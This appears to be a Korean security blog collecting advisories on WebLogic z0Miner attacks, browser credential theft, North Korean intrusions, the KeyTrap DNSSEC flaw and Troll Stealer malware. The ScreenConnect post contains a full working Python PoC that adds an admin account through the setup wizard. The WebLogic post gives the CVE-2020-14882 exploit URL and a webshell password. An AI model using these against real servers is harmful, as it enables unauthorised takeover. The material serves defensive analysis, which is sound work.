1. 개요

- 최근 국내 WebLogic 서버를 공격 및 장악해 z0Miner 악성코드를 유포하는 정황이 포착

- 정보 탈취 또는 랜섬웨어를 설치할 수 있어 웹로직 서비스 점검 필요

 

2. 주요 내용 [1]

2.1 z0Miner [2]

- 2020년 Tecnet 보안팀에 의해 처음으로 소개된 마이너 악성코드 (암호 화폐 채굴 봇넷)

- 국내외 보안이 취약한 서버인 Atlassian Confluence, Apache ActiveMQ, Log4J 등을 대상으로 마이너 악성코드를 유포

- CVE-2020-14882, CVE-2020-14883을 악용해 WebLogic 서버 공격

구분 설명
CVE-2020-14882 [3] - 특수하게 조작된 GET 요청을 통해 인증을 우회하여 관리자 콘솔 접근할 수 있는 취약점 [4][5]
Exploit: hxxp://IP:7001/console/css/%252e%252e%252fconsole.portal
- 영향받는 버전: WebLogic 서버 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0 버전
- CVSS: 9.8
CVE-2020-14883 [6] - 인증 우회(CVE-2020-14882)에 성공한 후 MVEL 표현식을 이용해 원격 명령을 실행할 수 있는 취약점 [7][8]
- Exploit: com[.]tangosol[.]coherence[.]mvel2[.]sh[.]ShellSession 클래스 악용
- 영향받는 버전: WebLogic 서버 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0 버전
- CVSS: 7.2

 

2.2 악성코드 배포

- 취약한 WebLogic 서버를 장악한 뒤 악성코드를 배포하는 다운로드 서버로 악용

> Miner 및 네트워크 도구, 공격에 필요한 스크립트 등

> 악용된 서버는 모두 서버 정보와 Tomcat의 구체적인 버전을 노출

[사진 1] 서버 정보 노출

 

악성코드 설명
WebShell - CVE-2020-14882를 악용해 JSP 웹쉘을 업로드하여 지속성 유지 및 시스템 제어
- 백신 탐지를 피하기위해 여러 종류의 웹쉘을 업로드

① JSP File Browser
> 커스터마이징된 JSP File Browser v1.2 웹쉘
> Password는 “zubin@666″ 하드코딩

② Shack2
> OS 정보 등 컴퓨터 정보 출력, 파일 매니저, 명령어 수행 기능을 제공 [9]

③ Behinder
> 과거부터 사용되어 많이 알려진 웹쉘 [10]
FRP(Fast Reverse Proxy) - RDP(Remote Desktop Protocol) 통신하기 위해 사용한 Proxy 도구
- 기본적인 형태의 FRPC와 커스터마이징한 FRPC를 사용
> 기존 FRPC: *.INI 형태의 설정 파일을 불러 읽어와 접속을 시도
> 커스텀 FRPC: 프로그램 내부에 설정 데이터를 가지고 있어 별도의 파일 없이 실행
※ 직접 통신할 수 없는 인트라넷 PC에 외부에서 접근 가능하도록 중계기를 둬 구성하는 오픈소스 도구 [11]
Netcat - 파일명 "userinit.exe"로 Netcat을 다운로드 받아 실행
- 하드코딩된 IP:Port에 연결을 시도하며, 연결 시 cmd를 실행하는 명령으로 구성
AnyDesk - 공식 홈페이지를 접속하여 AnyDesk를 다운로드하여 탐지 회피
- 시스템 장악 후 원격에서 화면 제어 목적
Miner(XMRig) - Windows XMRig는 6.18.0 버전, Linux의 경우 XMRig는 6.18.1 버전 유포
- 지속성 유지를 위해 스케줄러를 등록해 특정 주소로부터 파워쉘 스크립트를 읽어 실행
- ‘javae.exe’ 이라는 이름으로 채굴을 수행

 

3. 대응방안

① 웹로직 서버 최신 버전 유지

② 관리되지 않는 포트 및 서버 점검

③ 백신 등 안티바이러스 S/W 최신 버전 유지

④ 침해지표 등록 및 모니터링

 

4. 참고

[1] https://asec.ahnlab.com/ko/62166/
[2] https://s.tencent.com/research/report/1170.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2020-14882
[4] https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
[5] https://attackerkb.com/topics/sb4F8UT5zu/cve-2020-14882-unauthenticated-rce-in-console-component-of-oracle-weblogic-server/rapid7-analysis
[6] https://nvd.nist.gov/vuln/detail/CVE-2020-14883
[7] https://pentest-tools.com/vulnerabilities-exploits/oracle-weblogic-remote-command-execution_123
[8] https://pentest-tools.com/blog/detect-exploit-oracle-weblogic-rce-2020
[9] https://github.com/theralfbrown/WebShell-2/blob/master/jsp/SJavaWebManageV1.4.jsp
[10] https://github.com/NS-Sp4ce/CVE-2021-21972/blob/main/payload/Linux/shell.jsp

[11] https://github.com/fatedier/frp

[12] https://www.boannews.com/media/view.asp?idx=127363&page=4&kind=1

1. 개요

- 최근 브라우저 자동 로그인 기능을 악용한 계정 정보 탈취 범죄 급증함에 따라 KISA 권고 발표 [1]

- 사용자는 자동 로그인 기능 비활성화 및 개인정보 유출에 주의 必

 

2. 주요 내용

- 대부분의 브라우저는 편의성을 위해 계정정보를 저장하여 자동 입력해주는 자동 로그인 기능을 제공

- 해당 기능을 사용하는 PC가 악성코드에 감염되거나, 공용 PC에서 해당 기능 사용시 계정정보 탈취 등 위협 증가

영향받는 브라우저 구글 크롬(Google Chrome)
MS 엣지(Microsoft Edge)
모질라 파이어폭스(Mozilla FireFox)

 

- 탈취한 계정정보를 이용해 다른 사이트에서 로그인을 시도하는 크리덴셜 스터핑(Credential Stuffing) 공격 시도

> 크리덴셜 스터핑: 대부분의 사용서로 다른 사이트에 동일한 계정정보를 사용하는 것을 이용, 탈취한 계정 정보를 무작위로 대입하여 로그인을 시도하는 공격

> 과학기술정보통신부의 침해사고 조사결과 크리덴셜 스터핑은 공격 시도 대비 약 0.3% 성공률

> 관련 사례: 인포스틸러에 의한 국가·공공기관 정보 서비스 이용자 개인정보 유출, 엔씨소프트 계정 탈취 등 [2][3]

 

- 따라서, 자동 로그인 기능 비활성화 및 사용자의 주의 필요

> 개인정보보호위원회와 KISA는 자주 사용하는 계정의 유출 여부를 조회하는 서비스 ‘털린 내 정보 찾기 서비스’ 제공 [4]

구분 대응 방안
구글 크롬(Google Chrome) ① 오른쪽 상단 프로필 비밀번호를 선택
② 설정 메뉴에서 자동 로그인 사용을 중지
MS 엣지(Microsoft Edge) ① 오른쪽 상단 더보기에서 설정 선택
② 프로필 선택
③ 암호 선택
④ 자동으로 로그인 및 암호 필드에 암호 나타내기 단추 옵션을 모두 ‘사용 안함’으로 변경
모질라 파이어폭스(Mozilla FireFox) ① 오른쪽 상단 더보기 클릭
② 설정 선택
③ 개인정보 및 보안 메뉴
④ 저장된 로그인을 선택
⑤ 목록에 있는 정보를 모두 제거

 

3. 참고

[1] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71358&menuNo=205020
[2] https://www.nis.go.kr:4016/CM/1_4/view.do?seq=279
[3] https://www.boannews.com/media/view.asp?idx=125617&page=1&kind=1
[4] https://kidc.eprivacy.go.kr/

요약 - 보안은 눈에 잘 띄지 않아 담당자들의 계획이나 목표가 모호해질 수 있음
- 보안 팀이 업무를 성공적으로 수행하고 있느냐 없느냐를 나타내는 MTTR 주목
내용 - 보안 담당 팀들의 오랜 목표는 리스크를 줄이는 것
> 보안 예산과 인원을 증가해 달성하려고 시도
> 그러나 리스크는 계속해서 커지고 있는 상황
> 빠르게 증가하는 자산과 SW 취약점들이 기하급수적 발견되기 때문
> 취약점에 대한 조치가 취해지기까지 평균 270일 소요

- 대부분의 기업은 손해를 보지 않기위해 리스크를 방치하고 새로운 인프라 구축
> 모든 취약점이 실질적인 위험이 되는건 아니나, 놓친 취약점이 큰 손해를 유발할 수 있음
> 그렇기에 모든 리스크를 점검하고 평가해야하나 실제 리스크 여부를 가려내는 작업의 양적인 부담
> 그러므로, 리스크 관리는 체계적인 평가 방법과 접근법 등이 필요

- MTTR (Mean Time To Remediate)
> MTTR 수치를 줄이는 것이 리스크를 실제로 줄이는 데 도움이 됨
> 취약점으로 인한 위험이 사라지는 데 걸리는 평균 시간
> 리스크 관리 그 자체라는 뜻은 아니며, 리스크 관리를 평가하는 수많은 방법 중 하나
>  MTTR을 줄인다 = 취약점 조치 평균 시간을 줄인다 = 공격에 당할 가능성을 줄인다

- MTTR이 그 어느 때보다 중요
> 취약점을 발굴하고 익스플로잇 하는 기술은 계속해서 발전
> 취약점 자체도 그 어느 때보다 많이 생기기 때문
> MTTR은 보다 가시적이고 분명한 목적을 제시

- MTTR을 줄이기
① 전사 취약점 목록화: 자산, 소유자, 사용 목적 등 목록화
② 리스크 평가: 사업적 측면에서 리스크 평가
③ 취약점 분류: 위험 순위에 따라 분류 및 담당자 배정
④ MTTR 수립 및 적용: 동일 기준으로 취약점 평가
기타 -

 

보안뉴스

 

현재 보안 담당자들이 가장 신경 써야 할 평가 항목, MTTR

리스크를 줄이는 건 보안 담당 팀들의 오랜 목표이자 사업 계획이었다. 그런데도 리스크를 줄인다는 이 원대한 계획은 성취되지 않고 있다. 보안 예산을 늘리고 인원을 증가시켜도 마찬가지다.

www.boannews.com

 

요약 - 국정원, 지난해 하반기부터 최근까지 북한이 사이버 공격에 집중 정황 포착
- 악성코드 사용을 최소화하고, LotL(Living off the Land) 기법 주로 사용
내용 - 국정원, 지난해 하반기부터 북한 국내 반도체 장비업체 대상 사이버 공격에 집중
> 서버가 인터넷에 연결되어 취약점이 노출된 업체들을 공략
> 문서 등 자료관리에 사용되는 해당 업체의 업무용 서버들이 표적
> ‘LotL(Living off the Land)’ 기법을 주로 구사
> 서버 내 설치된 정상 프로그램을 활용하여 공격하는 기법

- 형상관리서버와 보안정책서버를 해킹
> 제품 설계도면과 설비 현장사진 등 탈취 (서로 다른 반돋체 기업)
> 피해업체에 관련 사실을 통보하고 보안대책 수립을 지원
> 내 주요 반도체 업체에도 위협정보를 제공해 자체 보안점검 권고

- 인터넷 노출 서버 대상
> 보안 업데이트와 접근 제어를 실시
> 정기적인 관리자 인증강화 등 계정관리에 만전 당부
기타 - 대북제재로 인한 반도체 조달 어려움 + 무기 개발에 따른 수요 증가 => 반도체 자체 생산 목적의 해킹

- 최근 북한의 사이버 공격
> ‘컴파일된 HTML 도움말 파일(.chm)’과 ‘바로가기(.lnk)’를 이용
> 파일 형식을 악용한 공격에 대응해 EDR 솔루션 탐지 등으로 보안을 강화 당부

 

보안뉴스

 

北 , 국내 반도체 기업 해킹으로 설계도면과 현장사진 훔쳐갔다

국내 반도체 장비업체를 노린 북한의 사이버 공격이 포착되고 있어 반도체 기업 및 관련기관의 주의가 요구된다. 국가정보원(이하 국정원) 측은 “지난해 하반기부터 최근까지 북한이 사이버

www.boannews.com

 

NIS 국가정보원

대한민국 국가정보원 공식 홈페이지

www.nis.go.kr

1. 개요

- 독일 아테네국립응용사이버보안연구센터에서 DNS 보안 프로토콜 DNSSEC의 설계 결함을 악용한 KeyTrap (CVE-2023-50387) 발견 [1]
- 단일 DNS 패킷을 전송하여 서비스 거부를 유발할 수 있음
취약한 DNS의 경우 최소 170초에서 최대 16시간 동안 서비스 거부 발생

 

2. 주요내용

2.1 DNSSEC(Domain Name System Security Extension) [2][3]

- DNS는 도메인(hxxps://example[.]com)을 IP 주소(1.1.1.1)로 변환하는 역할
> 초기 설계시 보안성을 충분히 고려하지 못해 DNS 정보 위-변조가 가능하다는 문제 존재 Ex. DNS Cache Poisoning

 

- 기존 DNS 보안성을 강화하기 위해 공개키 암호화 방식의 보안기능을 추가한 DNSSEC(DNS Security Extensions) 도입
> DNS를 대체하는 것이 아님

 

2.2 KeyTrap(CVE-2023-50387) [4]

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-50387

 

DNSSEC 설계 결함으로 인해 DNS 서버에 서비스 거부를 유발할 수 있는 취약점
> DNSKEY 및 RRSIG 레코드가 여러개일 경우 프로토콜 사양에 따라 모든 조합에 대한 유효성 검사를 수행

 

- 취약점과 관련된 세 가지 DNSSEC 설계 문제
① 여러 개의 서로 다른 DNS 키가 동일한 키 태그를 가질 수 있어 서명 유효성 검사 프로세스에 계산 부하 발생 가능
② 서명을 성공적으로 검증하는 키를 찾거나 모든 키가 시도될 때까지 모든 키를 시도해야 하므로(가용성 보장 목적) 계산 부하 발생 가능
③ 동일한 레코드에 여러 서명이 있는 경우 유효한 서명을 찾거나 모든 서명이 시도될 때까지 수신된 모든 서명을 검증해야 하므로, 계산 부하 발생 가능

 

- 영향받는 버전

[사진 2] 취약한 DNS 구성

 

2.2.1 SigJam (하나의 키 X 다수 서명)

DNS Resolve가 하나의 DNS 키를 사용하여 DNS 레코드에 존재하는 다수의 유효하지 않은 서명을 검증하도록 유도
> DNS Resolve가 DNSKEY로 검증할 수 있는 서명을 찾을 때까지 모든 서명을 시도하도록 설계 됨
> 공격자는 단일 DNS 응답에 340개의 서명을 작성할 수 있음
> 340개의 서명에 대한 유효성 검증을 수행한 후 DNS Reolve는 클라이언트에 SERVFAIL를 반환

 

2.2.2 LockCram (다수의 키 X 하나의 서명)

DNS Resolve가 ZSK DNSSEC키를 사용하여 DNS 레코드를 통해 하나의 서명을 검증하도록 유도
> DNS Resolve가 하나의 키가 검증되거나 모두 시도될 때까지 서명에 사용할 수 있는 모든 키를 시도하도록 설계 됨
> DNS Resolve는 서명을 검증하기 위해 모든 DNSSEC 키를 사용
> 해당 서명이 유효하지 않다고 결론을 내릴 때까지 서명이 참조하는 모든 키를 시도

 

2.2.3 KeySigTrap (다수의 키 X 다수의 서명)

SigJam과 LockCram를 결합하여 검증 과정이 2배 증가하는 공격

> 모든 키와 서명 쌍이 검증될 때까지, 가능한 모든 조합에 대해 검증을 시도

Ex. 첫 번째 ZSK를 사용해 N개 서명을 검증한 후, 두 번째 ZSK를 사용해 N개 서명을 검증하여 N번째 ZSK를 사용해 N개 서명을 검증

> 모든 조합 시도 후 레코드를 검증할 수 없다는 결론을 내리고 클라이언트에 SERVFAIL를 반환

 

2.2.4 HashTrap (다수의 키 X 다수의 해시)

- 다수의 DS 해시 레코드에 대해 충동하는 다수의 DNSKEY를 검증하기 위해 많은 해시를 계산하도록 유도

 

 

[사진 3] KeyTrap 공격에 의한 서비스 거부 시간

 

3. 대응방안

- 벤더사 제공 패치 제공
> 현재까지 나온 패치는 임시 조치
> DNSSEC 설계를 처음부터 다시 해야 문제가 해결될 것

 

- DNSSEC 기능 비활성화시 취약점이 근본적으로 사라지나 권장하지 않음
> KeyTrap 취약점을 제외하면 DNSSEC로부터 얻는 안전의 이득이 훨씬 많음

 

4. 참고

[1] https://www.athene-center.de/en/keytrap
[2] https://xn--3e0bx5euxnjje69i70af08bea817g.xn--3e0b707e/jsp/resources/dns/dnssecInfo/dnssecInfo.jsp
[3] https://medium.com/iocscan/how-dnssec-works-9c652257be0
[4] https://nvd.nist.gov/vuln/detail/CVE-2023-50387
[5] https://www.boannews.com/media/view.asp?idx=126791
[6] https://www.boannews.com/media/view.asp?idx=126911

'취약점 > Denial of Service' 카테고리의 다른 글

CONTINUATION Flood  (0) 2024.04.07
Loop DoS (CVE-2024-2169)  (0) 2024.03.23
SLP DRDoS (CVE-2023-29552)  (0) 2023.11.13
HTTP/2 Rapid Reset DDoS (CVE-2023-44487)  (0) 2023.10.13
2009.07.07 DDoS  (0) 2023.07.06

1. ConnectWise ScreenConnect

- 원격 데스크톱 소프트웨어 응용 프로그램

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-1709 [2]

 

- 취약한 버전의 ConnectWise ScreenConnect에서 발생하는 인증 우회 취약점 (CVSS: 10.0)

> PoC 공개 이후 활발한 공격이 시작되어 시급한 패치 적용이 필요

> 악용에 성공한 공격자는 경로 탐색 취약점을 이용해 원격 코드 실행 가능 (CVE-2024-1708) [3]

영향받는 버전: ConnectWise ScreenConnect 23.9.8 이전 버전

 

2.1 취약점 상세 [4][5]

- Shodan 검색시 약 8,500개의 ConnectWise ScreenConnect 확인

[사진 2] Shodan 검색 화면

 

- SetupModule.cs에는 2 가지 HTTP 필터가 존재

응용 프로그램이 설정되지 않은 경우 모든 요청을 SetupWizard.aspx로 리디렉션

② 응용 프로그램이 설정된 경우 SetupWizard.aspx에 대한 요청을 거부하거나 Administration.aspx로 리디렉션

※ SetupWizard는 초기 사용자와 암호를 생성하는 역할

[사진 3] SetupModule.cs

 

- [사진 3]에서 요청 URL이 SetupWizard.aspx인지 확인하기 위해 string.Equals() 사용

> 요청 URL이 "~/SetupWizard.aspx"인 경우 True

> 하지만, 요청 URL이 "~/SetupWizard.aspx/"인 경우 False

> SetupWizard.aspx에 단순히 "/"만 추가하여도 이미 설치된 후에도 설정 마법사에 액세스할 수 있음

[사진 4] 인증 우회 및 설정 마법사 액세스

 

[사진 5] string.Equals() 결과 비교

 

2.2 CVE-2024-1708

[사진 6] https://nvd.nist.gov/vuln/detail/CVE-2024-1708

 

- 취약한 버전의 ConnectWise ScreenConnect에서 발생하는 경로 탐색 취약점

> 영향받는 버전 상동

> 구체적인 내용은 확인되지 않으나, ZipSlip 공격을 이용한 것으로 판단

 

※ ZipSlip [6]

- 경로 탐색 구문이 포함된 압축 파일을 실행할 때 공격자가 의도한 경로로 원하는 파일을 이동시키는 공격 방법

 

2.3 PoC [7]

- /SetupWizard.aspx/ URL을 이용해 임의의 사용자 계정 생성

※ CVE-2024-1708 PoC는 확인하지 못함 (아래 공격 시연 유튜브 영상 참고)

import requests
import re
import argparse

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        watchtowr-vs-ConnectWise_2024-02-21.py
          - Sonny, watchTowr (sonny@watchTowr.com)
        """

helptext =  """
            Example Usage:
          - python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

			 """

parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--url", help="target url in the format https://localhost", default=False, action="store", required=True)
parser.add_argument("--username", help="username to add", required=False, action="store")
parser.add_argument("--password", help="password to add (must be at least 8 characters in length)", required=False, action="store")
try:
    args = parser.parse_args()
except:
    print(banner)
    print(helptext)
    raise

print(banner)


requests.urllib3.disable_warnings()


print(f"[*] Target Server: {args.url} ")
print(f"[*] Adding Username: {args.username} ")
print(f"[*] Adding Password: {args.password} ")

initial_request = requests.get(url=args.url+"/SetupWizard.aspx/",verify=False)

viewstate_1 = re.search(r'value="([^"]+)"', initial_request.text).group(1)
viewgen_1 = re.search(r'VIEWSTATEGENERATOR" value="([^"]+)"', initial_request.text).group(1)

next_data = {"__EVENTTARGET": '', "__EVENTARGUMENT": '', "__VIEWSTATE": viewstate_1, "__VIEWSTATEGENERATOR": viewgen_1, "ctl00$Main$wizard$StartNavigationTemplateContainerID$StartNextButton": "Next"}
next_request = requests.post(url=args.url+"/SetupWizard.aspx/",data=next_data, verify=False)

exploit_viewstate = re.search(r'value="([^"]+)"', next_request.text).group(1)
exploit_viewgen =  re.search(r'VIEWSTATEGENERATOR" value="([^"]+)"', next_request.text).group(1)
exploit_data = {"__LASTFOCUS": '', "__EVENTTARGET": '', "__EVENTARGUMENT": '', "__VIEWSTATE": exploit_viewstate, "__VIEWSTATEGENERATOR": exploit_viewgen, "ctl00$Main$wizard$userNameBox": args.username, "ctl00$Main$wizard$emailBox": args.username+"@poc.com", "ctl00$Main$wizard$passwordBox": args.password, "ctl00$Main$wizard$verifyPasswordBox": args.password, "ctl00$Main$wizard$StepNavigationTemplateContainerID$StepNextButton": "Next"}

exploit_request = requests.post(url=args.url+"/SetupWizard.aspx/",data=exploit_data, verify=False)

print(f"[*] Successfully added user")

 

[영상 1] 공격 시연 [8]

 

3. 대응방안

- 벤더사 제공 최신 버전 업데이트 적용 [9]

> 초기 설정이 완료된 경우 SetupWizard에 접근하지 못하도록 변경(접근시 "Already setup"를 출력하는 것으로 판단됨)

> ZIP 파일 콘텐츠를 추출할 때 더욱 엄격한 경로 유효성 검사를 수행하도록 변경

취약점 영향받는 버전 해결 버전
CVE-2024-1709 ConnectWise ScreenConnect 23.9.7 및 이전 버전 23.9.8
CVE-2024-1708

 

- /SetupWizard.aspx/ 탐지 패턴 적용

 

4. 참고

[1] https://screenconnect.connectwise.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-1709
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-1708
[4] https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass
[5] https://www.horizon3.ai/attack-research/red-team/connectwise-screenconnect-auth-bypass-deep-dive/
[6] https://www.hahwul.com/cullinan/zip-slip/
[7] https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/blob/main/watchtowr-vs-ConnectWise_2024-02-21.py
[8] https://www.youtube.com/watch?v=AWGoGO5jnvY&t=13s
[9] https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8
[10] https://www.rapid7.com/blog/post/2024/02/20/etr-high-risk-vulnerabilities-in-connectwise-screenconnect/
[11] https://www.bleepingcomputer.com/news/security/screenconnect-critical-bug-now-under-attack-as-exploit-code-emerges/
[12] https://www.boannews.com/media/view.asp?idx=126959&page=1&kind=1

요약 - 국정원, 독일 헌법보호청(BfV) 방산 분야 대상 북한 공격 수법 및 대처법을 담은 합동 사이버보안 권고문 발표
- 북한 방산 해킹 대표적 사례 2가지에 대해 TTPs 등을 분석, 소개
내용 - 북한 방산 해킹 사례 2가지 및 완화 방안
① 홈페이지 유지보수 업체를 통한 방산기관 우회침투
> 22년말 해양ㆍ조선 기술을 연구하는 기관에 침투
> 보안이 취약한 유지보수 업체를 해킹해 서버 계정정보 탈취 및 기관 침투
> 악성코드 유포를 시도하였으나, 배포 전 발각되어 직원들에게 스피어피싱 이메일 발송 등 추가 공격 시도 감행

② 구인업체 관계자 위장 후 방산업체 직원 해킹
> 라자루스는 20년 중반부터 사회공학적 기법을 사용해 방산업체 침투
> 링크드인 등에 채용 담당자로 위장가입해 방산업체 직원에 접근해 친밀감 형성에 주력
> 이직 상담을 핑계로 일자리 제안 PDF 발송 등을 통해 악성코드 설치 유도

③ 완화 방안 (권고문 참고)
- 직원들에게 사이버 공격 최신 동향에 대해 정기적으로 설명
- 지정된 시스템에만 원격 접속을 허용하며 사용자 인증 등 접근통제 적용
- SSL/TLS 통신을 구현해 패킷 암호화
- 원격근무를 위해 VPN 사용시 ID/PW 인증 및 2차 인증 수단 적용
- 사회공학 공격사례에 대한 교육 등
※ 본 권고문에서 침해지표 제공(C2 URL, 악성 파일 MD5 및 SHA-1/SHA-256, YARA 탐지 규칙 제공)

- 두 기관은 북한이 군사력 강화를 목적으로 전 세계 대상 방산 기술 절취 및 전략 무기 개발에 활용한다고 판단
> 북한의 사이버상 해킹 행위는 무기 기술 획득을 위한 저비용의 효율적인 수단으로 지속 될 것
> 방산 분야 보안을 더욱 강화할 필요
기타 - 북 해킹조직은 코로나로 원격 유지보수가 허용된 상황을 틈타 유지보수업체를 이용해 내부서버 침투를 많이 시도
- 국가ㆍ공공기관에서 협력업체의 원격 유지 보수가 필요한 경우, 국가정보보안지침 제26조(용역업체 보안)을 참고

 

보안뉴스

 

NIS 국가정보원

대한민국 국가정보원 공식 홈페이지

www.nis.go.kr

 

국가사이버안보센터

국제 및 국가배후 해킹 조직 관련 사이버위협 예방·대응, 보안적합성·암호모듈 검증제도 등 정보수록

www.ncsc.go.kr:4018

 

한국·독일 정보기관, 북한의 방산기술 사이버위협에 경고

대한민국 국가정보원과 독일 헌법보호청(BfV)은 북한의 방산 분야 사이버공격 피해를 예방하기 위해 2월 19일 합동 사이버보안 권고문을 발표했다. 이번 합동 권고문은 북한의 방산 해킹 대표적

www.boannews.com

 

북한 해킹조직, 해양·조선 기술 연구기관 침투…방산기술 사이버위협 경고 - 데일리시큐

국가정보원과 독일 헌법보호청(BfV)은 북한의 방산 분야 사이버공격 피해를 예방하기 위해 2월 19일 합동 사이버보안 권고문을 발표했다.이번 합동 권고문은 북한의 방산 해킹 대표적인 사례 2가

www.dailysecu.com

 

1. 개요

- 북한 배후 해킹그룹 김수키(Kimsuky)에서 국내 보안 프로그램으로 위장한 악성코드 유표 정황 포착

- Go 언어 기반 인포스틸러로, 국내 보안기업의 보안 프로그램 설치파일로 위장

- 시스템 정보, 브라우저 정보, AV 설치 목록 등을 탈취하며, GPKI 정보 또한 탈취를 시도

- 악성코드에 파일에 포함된 문자열을 따 '트롤스틸러(Troll Stealer)'로 명명

 

2. 주요내용 [1]

- 악성코드는 국내 특정 웹 사이트 접속시 연결되는 보안 프로그램 다운로드 페이지로부터 유포

> SGA Solutions의 보안 프로그램 설치 파일(TrustPKI, NX_PRNMAN)로 위장

> 악성코드는 정상 인스트롤러와 악성코드를 드랍 및 실행하는 Dropper

> 악성파일은 모두 원래 인증서인 “SGA Solutions”가 아닌, 유효한 “D2innovation Co.,LTD” 인증서로 서명

[사진 1] 악성 파일 서명 정보

2.1 실행 흐름

[사진 2] 실행 흐름 요약

① Mutex  생성 및 자가 삭제

- 중복 실행 방지를 위한 Mutex 생성

- %Temp% 하위 경로에 자가 삭제를 위한 BAT 스크립트 파일 생성 및 실행

 

② 파일 Dropper

- 정상으로 위장하기 위해 SGA Solutions 정상 설치파일을 Desktop 경로에 설치 및 실행

- Troll Stealer와 감염 이력을 확인하기 위한 파일을 드랍

 

③ Troll Stealer 설치

- rundll32.exe 프로세스를 통해 실행하며, 감염 이력 확인을 위한 파일명이 Export 함수로 호출

> 감염 이력 확인을 위한 파일이 존재하는 경우에만 악성 행위 수행

> 자체적으로 중복실행 방지를 위한 Mutex 생성 (Dropper Mutex와 다른 값)

> 분석 방해를 위해 VMProtect 패킹

 

④ 구성 데이터 설정

- 감염된 시스템의 MAC주소, 디렉터리 경로 수집 후 악성행위 수행을 위해 Config 임시 파일 생성

> Config 내에는 C2 서버 주소 등의 정보가 포함

> Config 파일 암호화 후 C2 서버 전송 및 파일 삭제

 

⑤ 정보 수집

- 감염된 시스템 내 정보를 탈취 및 암호화 후 C2 서버로 전송

- 특히, C드라이브 내 GPKI(Government Public Key Infrastructure) 폴더 탈취 시도가 확인

> 행정전자서명인증서인 GPKI는 국내 행정 및 공공기관 등의 정부에서 사용하는 전자적 정보 [2]

> 행정전자서명의 진위를 검증할 때 사용되는 공인인증서

> 일반 PC에서는 사용되지 않고, 공무를 위해 사용되는 PC에 설치되는 것이 일반적

> 공공에 설치된 PC 등을 타겟으로 한 캠페인으로 평가됨

[사진 3] 악성코드 탈취 정보 목록

 

⑥ 파일 암호화

- C2 서버로 데이터 전송 전, 데이터를 암호화

> RC4와 RSA-4096 알고리즘을 조합하여 데이터를 암호화

> 하드코딩된 PKCS#1의 DER로부터 RSA 공개키 파싱을 수행

> 랜덤 RC4 키 값을 생성하여 탈취 데이터 암호화

> RSA 공개키를 이용해 RC4 암호화 키 암호화

 

⑦ C2 통신

- C2 통신을 위해 12개의 필드로 구성된 60바이트 크기의 구조를 사용

> 통신 목적과 전송하는 데이터 유형에 따라 각 필드 값을 다르게 설정

> 데이터를 구조에 맞게 구성한 후 바이너리 내 하드코딩된 4바이트 Key를 사용해 XOR 및 Base64 인코딩

> 인코딩 결과는 "a=[Encoded_Data]" 형식으로 C2 서버에 전송

※ 데이터 탈취 => 파일 암호화(RC4+RSA) => 통신 구조체 인코딩(XOR+Base64) => a 파라미터로 전달

[사진 4] 통신 구조 및 필드 값

⑧ 자가 삭제

- 악성행위 수행 후 자가삭제를 위해 .tmp 디렉토리에 PS1 파일 생성

> PS1 파일은 악성 DLL 및 스스로를 삭제

 

※ 분석 보고서에서 침해지표 제공 [1]

 

3. 참고

[1] https://medium.com/s2wblog/kimsuky-disguised-as-a-korean-company-signed-with-a-valid-certificate-to-distribute-troll-stealer-35b3cd961f91
[2] https://www.gpki.go.kr/jsp/certInfo/certIntro/eSignature/searchEsignature.jsp
[3] https://www.boannews.com/media/view.asp?idx=126703&page=1&kind=1

+ Recent posts